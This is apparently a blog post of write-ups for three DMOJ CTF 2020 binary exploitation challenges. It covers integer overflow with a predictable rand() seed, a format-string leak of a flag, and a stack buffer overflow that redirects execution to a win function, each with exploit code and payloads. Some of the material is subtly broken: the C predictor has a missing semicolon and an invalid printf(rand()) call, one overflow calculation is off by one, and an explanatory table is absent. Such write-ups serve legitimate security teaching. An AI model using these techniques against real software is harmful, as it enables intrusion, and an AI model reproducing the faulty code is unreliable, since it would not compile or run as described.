Intro to Binary Exploitation - DMOJ CTF 2020 Writeups

July 27, 2020 CTF 12 min

This blog post covers the solutions to the binary exploitation problems of DMOJ CTF '20. If you want to try the problems by yourself, either before or after reading this writeup, the links are below:

These problems are relatively simple and cover some of the most basic techniques when it comes to binary exploitation so don't be scared to give them a try. All of these techniques can become very useful later down the line and are often used as part of larger, more complex exploits.

Super Secure Pseudorandom Number Generator

This problem had a simple menu which allowed the generation of random numbers and guessing of a single random number. If the correct number was guessed, the flag would get printed to stderr and you would solve the challenge.

This first section of code can be seen initializing the rand() seed with the current time (in seconds) and setting the balance to 999999999:

srand(time(NULL));
int balance = 999999999;

Generation

Now here is the section that allows you to generate some random numbers if you have enough balance:

while (scanf("%d", &count) != 1);
if (!(1 <= count && count <= 20))
{
    printf("Number %d not in range.\n", count);
    return 1;
}
else if (500000000 * count > balance)
{
    printf("You do not have enough money!\n");
    return 1;
}
balance -= 500000000 * count;
printf("Success!\nHere are your %d numbers.\n", count);
for (int i = 1; i <= count; i++)
{
    printf("%d\n", rand());
}

As we can see, it allows you to generate anywhere from 1 to 20 random numbers, but the important aspect is the 500000000 * count > balance and subsequent balance -= 500000000 * count sections. We need to use these to get a balance which will allow us to pay for the guessing of a random number since the starting value of 999999999 is less than 1000000000.

What we find is that if we ask to generate a specific number of flags, such as 5, we can overflow the 500000000 * count to bypass the check and overflow the balance to be able to guess a random number later on. Let's see how the overflow happens below:

500000000 * 5 = 2500000000

2500000000 is over the maximum C integer of INT_MAX = 2**31-1 = 2147483647 so the new value can be calculated as follows based on the minimum C integer of INT_MIN = -2**31 = -2147483648:

2500000000 - 2147483647 = 352516353
-2147483648 + 352516353 = -1794967296

This value is certainly less than our current balance, so we proceed without receiving "You do not have enough money!". A similar process happens to our balance, leaving it at -1500000001.

Guessing

Moving on to the generation of the random number for us to guess, we see the code below:

balance -= 1000000000LL;
if (balance < 0)
{
    printf("You do not have enough money!\n");
    return 1;
}
printf("Enter the secret code: ");
while (scanf("%d", &count) != 1);
if (count != rand())
{
    printf("Wrong number!\n");
    return 1;
}
// Flag printing routine here.

The initial balance check gets bypassed because of the previous steps, with the exact math involved being left as an exercise to the reader.

Exploiting

With that, all we need to do is guess the outcome of the 6th rand() call (6 because we asked for 5 random numbers before which all called rand() once).

What we know from the very start is that the seed was set with srand(time(NULL)) which returns the current time, in seconds, since the first of January 1970.1 Because our own code and the problem run at nearly the same time, we can mimic this behavior exactly to print the flag and with the problem.

The full exploit is below:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand(time(NULL))
    printf("1\n5\n2\n");
    for (int i = 0; i < 5; i ++) {
        rand();
    }
    printf(rand());
}

Strings

This problem's solution is arguably simpler than the last, but requires some knowledge of C and format strings. The entire problem code is below:

#pragma GCC optimize("O0")
#include <stdio.h>
#include <unistd.h>

int
main()
{
    fprintf(stderr, "Welcome to echo, live edition!\n");
    fprintf(stderr, "Enter something and this program will repeat it.\n");
    char something_secret[64];
    FILE *f = fopen("flag", "r");
    if (f == NULL)
      {
        fprintf(stderr, "Failed to open flag file.\n");
        return 1;
      }
    fgets(something_secret, 64, f);
    char data[64] = {0};
    read(0, data, 63);
    fprintf(stderr, data);
    return 0;
}

This program uses the read function to safely read user input, so we can't exploit any overflows of the data buffer. However, fprintf will gladly accept format strings (as described in man 3 fprintf). This means that the following 6 character input will leak the flag:

%s%s%s

Explanation

First off, this problem is both hardware dependent2 and glibc dependent. The DMOJ Judge has these kept constant across runs during the contest, but competitors' glibc versions are different and some make the intended solution impossible to test locally. The solution of %s%s%s will read the values pointed to by the registers rdx, rcx, and r8 in that order. The values they point to are described below:

Classic Buffer Overflow

We now come to the final problem which has the solution in its name. The goal of the problem is to run a function called win whose pointer is printed on startup. Below is the entire source code of the problem:

#pragma GCC optimize("O0")
#include <stdio.h>
#include <stdlib.h>

void
win()
{
    char buf[64];
    FILE *f = fopen("flag", "r");
    if (f == NULL)
      {
        printf("Failed to open flag file.\n");
        exit(1);
      }

    fgets(buf, 63, f);
    fprintf(stderr, buf);
}

void
vuln()
{
    char buf[100];
    gets(buf);
    puts(buf);
}

int
main()
{
    printf("%p\n", win);
    fflush(stdout);
    vuln();
    return 0;
}

All we have to do is overflow the buf buffer and change the return pointer to win.

Exploitation

While you could just guess how many characters you need (in chunks of 4 after the 100 allocated for the buffer), and that is what I did for this challenge, I'll go through one of the theoretically correct ways to do this challenge with radare.

To make my life easier, I have a simple python script that uses pwntools to startup the script and then enter the alphabet as input. It waits for the user to press Enter before sending the data so I have time to attach to the process with radare. Here it is below:

from pwn import *

p = process('./98972d672b0bcd184c0c6769bb083863-main')
sys.stdin.readline()
sol = b'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ'*2
p.sendline(sol)

After running this, we can get the PID and start radare with r2 -d <pid>. We can then proceed with seeking to main with s main, opening up visual mode with V and switching to the disassembly view with p. Looking closely, we can see the call to the function that we are interested:

0x00401270      e89bffffff     call 0x401210

Let's go there with s 0x401210. The entire disassembly can be seen here:

| 0x00401210      55             push rbp
| 0x00401211      4889e5         mov rbp, rsp
| 0x00401214      4883ec70       sub rsp, 0x70
| 0x00401218      488d4590       lea rax, [var_70h]
| 0x0040121c      4889c7         mov rdi, rax
| 0x0040121f      b800000000     mov eax, 0
| 0x00401224      e847feffff     call sym.imp.gets           ;[1] ; char *gets(char *s)
| 0x00401229      488d4590       lea rax, [var_70h]
| 0x0040122d      4889c7         mov rdi, rax
| 0x00401230      e8fbfdffff     call sym.imp.puts           ;[2] ; int puts(const char *s)
| 0x00401235      90             nop
| 0x00401236      c9             leave
| 0x00401237      c3             ret
| 0x00401238      0f1f84000000.  nop dword [rax + rax]

To find out where we are going to return to, let's continue running the program until after the puts call, at the leave instruction, with dcu 0x00401236. Now press enter in the running Python script to have it send the alphabet. You should then see the message hit breakpoint at: 401236 in radare. Press Enter once to exit out of the radare prompt and press P to switch to a hex view.

The return address is pointed to by rbp, so seek there with s rbp. Here we see:

0x7ffe6db1ab70  4343 4343 4444 4444 4545 4545 4646 4646  |CCCCDDDDEEEEFFFF|  ; rbp
0x7ffe6db1ab80  4747 4747 4848 4848 4949 4949 4a4a 4a4a  |GGGGHHHHIIIIJJJJ|
0x7ffe6db1ab90  4b4b 4b4b 4c4c 4c4c 4d4d 4d4d 4e4e 4e4e  |KKKKLLLLMMMMNNNN|
0x7ffe6db1aba0  4f4f 4f4f 5050 5050 5151 5151 5252 5252  |OOOOPPPPQQQQRRRR|
0x7ffe6db1abb0  5353 5353 5454 5454 5555 5555 5656 5656  |SSSSTTTTUUUUVVVV|
0x7ffe6db1abc0  5757 5757 5858 5858 5959 5959 5a5a 5a5a  |WWWWXXXXYYYYZZZZ|

Which means that this function will return to CCCC, but that's not a valid address. However, this tells us exactly where to write our address. Our new input should look as follows:

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBB<address>

The address we want to use is 0x4011a0 (found either with radare or as output from the program) which is b'\xa0\x11@\x00\x00\x00\x00\x00' in Python hex (which can be found using pwntools's p64 with p64(0x4011a0)). Now all you have to do is write a script that outputs exactly that (or any other 120 bytes plus the address) and you get the flag.

import sys
sys.stdout.buffer.write(b'a'*120 + b'\xa0\x11@\x00\x00\x00\x00\x00')

  1. This is when Unix time starts.

  2. This depends on your solution, if you use %s to get rcx it could point to an invalid memory location. Using something like %p to get rcx should work.